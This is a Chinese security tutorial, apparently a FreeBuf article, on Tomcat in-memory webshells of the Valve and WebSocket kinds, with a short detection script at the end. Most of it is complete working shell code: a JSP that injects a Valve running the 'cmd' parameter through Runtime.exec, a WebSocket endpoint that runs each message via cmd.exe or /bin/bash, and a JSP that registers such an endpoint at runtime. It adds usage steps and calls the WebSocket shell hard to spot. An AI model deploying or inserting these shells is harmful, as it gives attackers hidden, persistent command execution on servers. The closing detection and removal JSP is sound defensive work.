
前言
之前写了关于Tomcat的listener、filter、servlet型内存马,并没有将valve和websocket加上,因为觉得还是有不一样的地方,所以单独提出来细说一下,尤其是websocket内存马,毕竟在使用的协议和方法上都有不同,但又总是容易被忽略。
同样,需引入Tomcat依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.70</version>
</dependency>
Valve型内存马
关于valve
在Tomcat中存在一种管道机制,它是基于Java Servlet规范的实现,其中Servlet是一个Java类,用于处理HTTP请求和响应。Tomcat的管道机制使用了Servlet中的Filter和Servlet规范中的Servlet容器。Servlet容器使用一个称为Pipeline的处理管道来处理HTTP请求。Pipeline(管道)和Valve(阀门),顾名思义valve就像阀门一样,控制管道的流通状态。Pipeline由一系列的Valve组成,每个Valve都是一个Java类,用于处理HTTP请求的不同阶段。可以通过配置文件中的<Valve>元素来指定Valve。
每个Pipeline中内部就像filter中的chain链处理机制,其中一个Pipeline可以由多个Valve组成,并且在处理HTTP请求时,请求将按照Valve在Pipeline中的顺序进行处理。每个Valve都可以将请求传递给下一个Valve,或者在处理请求之前或之后执行自定义逻辑。通过编写自定义的Valve,可以扩展Tomcat的功能和行为,并在处理HTTP请求时添加自定义的功能,这也是valve内存马存在的原因。
在Tomcat下的Container中Engine、Host、Context、Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。
动态添加Valve
Pipeline接口继承自Contained,定义了几个操作Valve的方法,其中可以使用addValve添加一个valve,getValve获取valve
Valve接口,同样可以使用对应的get获取set添加,其中,在invoke()方法中能够自定义我们的代码逻辑,这也是执行命令执行的地方。
在Tomcat内部实现中,因为是调用connector的adapter与container连接通信,所以关注org.apache.catalina.connector包下的CoyoteAdapter类,看看内部是如何与container连接的。
在CoyoteAdapter#service中,发现关键句:connector.getService().getContainer().getPipeline().getFirst().invoke(request, response),具体来看看
一步一步看下来大概就是StandardService->StandardEngine->StandardPipeline->StandardEngineValve->invoke
因此,只要在此之前,在StandardPipeline中将Valve添加到其中就可以实现后续的getFirst再到invoke。
具体思路:
编写Valve_Shell恶意类,实现Valve接口,重写invoke->恶意代码逻辑
获取StandardContext对象
StandardContext.getPipeline获取StandardPipeline
StandardPipeline.addValve(Valve_Shell)添加恶意Valve
Exp:valveShell.jsp(jsp实现)
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.catalina.Valve" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Valve_Shell</title>
</head>
<body>
<%!
public class Valve_Shell implements Valve {
@Override
public Valve getNext() {
return null;
}
@Override
public void setNext(Valve valve) {
}
@Override
public void backgroundProcess() {
}
@Override
public boolean isAsyncSupported() {
return false;
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (cmd != null) {
InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader inputStreamReader = new InputStreamReader(inputStream);
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
StringBuilder stringBuilder = new StringBuilder();
String str = null;
while ((str = bufferedReader.readLine()) != null) {
stringBuilder.append(str + "\n");
}
writer.println(stringBuilder.toString());
}
}
}
%>
<%
Field declaredField = request.getClass().getDeclaredField("request");
declaredField.setAccessible(true);
Request req = (Request) declaredField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
Valve_Shell valveShell = new Valve_Shell();
pipeline.addValve(valveShell);
%>
</body>
</html>
先访问jsp注册,再执行命令:
WebSocket型内存马
WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
在Tomcat中,WebSocket共有两种实现方式:
@ServerEndpoint注解
继承抽象类:Endpoint
@ServerEndpoint注解实现
exp: Ws_Shell.java
package com.example.memshell.ws;
import javax.websocket.*;
import javax.websocket.server.ServerEndpoint;
import java.io.InputStream;
@ServerEndpoint("/lemono")
public class Ws_Shell{
private Session session;
@OnOpen
public void OnOpen(Session session){
this.session=session;
this.session.getAsyncRemote().sendText("open session");
}
@OnMessage
public void OnMessage(String message) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", message });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", message });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1){
stringBuilder.append((char)i);
}
inputStream.close();
process.waitFor();
session.getAsyncRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@OnClose
public void OnClose(){
System.out.println("OnClose connect");
}
}
Exp中实现了三个注解方法:@OnOpen(连接开辟时)、@OnMessage(消息传递)、@OnClose(连接关闭),@ServerEndpoint主要注册路由。因此,我们的恶意代码存在于OnMessage中,用于在消息传递时将命令执行结果回显带出到客户端。
因为是WebSocket协议,所以不能直接浏览器访问
WebSocket连接工具:https://github.com/websockets/wscat,命令行实现形式,网上也有很多图形化工具。
继承Endpoint抽象类实现
先看exp
Exp:wsShell.jsp
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>
<%!
public static class C extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onMessage(String s) {
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[] { "cmd.exe", "/c", s });
} else {
process = Runtime.getRuntime().exec(new String[] { "/bin/bash", "-c", s });
}
InputStream inputStream = process.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
int i;
while ((i = inputStream.read()) != -1){
stringBuilder.append((char)i);
}
inputStream.close();
process.waitFor();
session.getBasicRemote().sendText(stringBuilder.toString());
} catch (Exception exception) {
exception.printStackTrace();
}
}
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;
session.addMessageHandler(this);
}
}
%>
<%
String path = request.getParameter("path");
ServletContext servletContext = request.getSession().getServletContext();
ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
container.addEndpoint(configEndpoint);
servletContext.setAttribute(ServerContainer.class.getName(),container);
out.println("success, connect url path: " + servletContext.getContextPath() + path);
%>
关于WsShell其他实现,可以查看这个项目:https://github.com/veo/wsMemShell
Tomcat的WebSocket在实现时都需要继承Endpoint抽象类,并实现其中的方法。同样,为了消息的传递,这里还需要实现Message相关方法,exp中实现的MessageHandler.Whole#OnMessage。其中,Endpoint#onOpen方法为必须实现的方法,这里做的工作主要为将实现的MessageHandler添加到会话中。
创建流程
Tomcat的Server端在启动时会默认通过 WsSci 配置相关信息。从绿色注解中可以看到首先会对存在@ServerEndpoint注解的class注册,这也是为什么可以方便的使用注解实现。
先来到onStartup中,init初始化一个ServerContainer sc,跟进init
通过servletContext创建WsServerContainer容器,接着servletContext中添加属性,也就是ServerContainer,在添加Listener,
继续跟进WsServerContainer,主要看其中的addEndpoint方法,大概就是为实现了Endpoint类根据path添加到ServerContainer中,其中一个重要的参数为ServerEndpointConfig,需要通过它获取继承Endpoint相关类的信息。
该类下有多个addEndpoint方法,过程用到三个,先看第二个
创建ServletEndpointConfig,pojo为继承Endpoint类的class,path为server端websocket的连接路由,最后将sec作为参数传递到第三个addEndpoint
第三个:
当完成这一系列操作时,则代表endpoint成功被注册
大概的流程就是这样,关键点为:ServerEndpointConfig和ServerContainer,因此我们的注入流程大概就是:
首先获取servletContext
创建ServerEndpointConfig,需要给到继承了Endpoint的类和path路径
获取ServerContainer,用于承载endpoint
serverContainer.addEndpoint,添加到容器中
ServerEndpointConfig直接可以根据该类下的内部类Builder#create创建,刚好只需要继承了endpoint的class和path路由即可
到这便在server端注册了一个以path为路径的websocket,客户端使用工具连接该地址即可与服务端通信。
访问http://localhost:8088/MemShell_war_exploded/wsShell.jsp?path=/le 注册,wscat连接:
关于websocket内存马,因为不同于其他filter、servlet类型,所以相对来说较为隐蔽,且不易被察觉。
WebSocket内存马查杀
传统的内存马查杀工具并不能很好的查杀WebSocket内存马,但只要是通过Tomcat注册,就一定存在相关访问路径和实体。
在这篇文章中中,讲述了WebSocket内存马的查杀思路,大概就是在 WsServerContainer#addEndpoint中,会将得到的WebSocket的uri和wsServerContainer类文件作为键值对put到configExactMatchMap中,而传进来的value下的config属性中是包含了我们需要的endpointClass的,对应调用getConfig应该就可以获取到我们需要的所有东西。
同样,configExactMatchMap在findMapping中被利用,通过path找寻对应的config,并将此config作为参数在声明WsMappingResult时即可赋值config,因为config内包含了endpointClass,所以下一步只需要反射WsMappingResult类,获取config属性即可!
代码实现: wsShell_detect.jsp
<%@ page import="org.apache.tomcat.websocket.server.WsServerContainer" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.Set" %>
<%@ page import="java.util.Iterator" %>
<%@ page import="javax.websocket.server.ServerEndpointConfig" %><%-- Created by IntelliJ IDEA. --%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
// 通过 request 的 context 获取 ServerContainer
WsServerContainer wsServerContainer = (WsServerContainer) request.getServletContext().getAttribute(ServerContainer.class.getName());
// 利用反射获取 WsServerContainer 类中的私有变量 configExactMatchMap
Class<?> obj = Class.forName("org.apache.tomcat.websocket.server.WsServerContainer");
Field field = obj.getDeclaredField("configExactMatchMap");
field.setAccessible(true);
Map<String, Object> configExactMatchMap = (Map<String, Object>) field.get(wsServerContainer);
// 遍历configExactMatchMap, 打印所有注册的 websocket 服务
Set<String> keyset = configExactMatchMap.keySet();
Iterator<String> iterator = keyset.iterator();
while (iterator.hasNext()){
String key = iterator.next();
Object object = wsServerContainer.findMapping(key);
Class<?> wsMappingResultObj = Class.forName("org.apache.tomcat.websocket.server.WsMappingResult");
Field configField = wsMappingResultObj.getDeclaredField("config");
configField.setAccessible(true);
ServerEndpointConfig config1 = (ServerEndpointConfig)configField.get(object);
Class<?> clazz = config1.getEndpointClass();
// 打印 ws 服务 url, 对应的 class
out.println(String.format("websocket name:%s, websocket class: %s", key, clazz.getName()));
}
// 如果参数带name, 删除该服务,名字为name参数值
if(request.getParameter("name")!= null){
configExactMatchMap.remove(request.getParameter("name"));
out.println(String.format("delete ws service: %s", request.getParameter("name")));
}
%>
访问wsShell_detect.jsp
输入路径即可删除
小结
总的流程大致如下:
可以重点关注一些WebSocket内存马,整个流程走下来还是能学到很多东西。
Ref:
https://xz.aliyun.com/t/11549
https://www.freebuf.com/articles/web/339361.html
https://www.freebuf.com/vuls/346129.html
https://goodapple.top/archives/1355#header-id-90
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)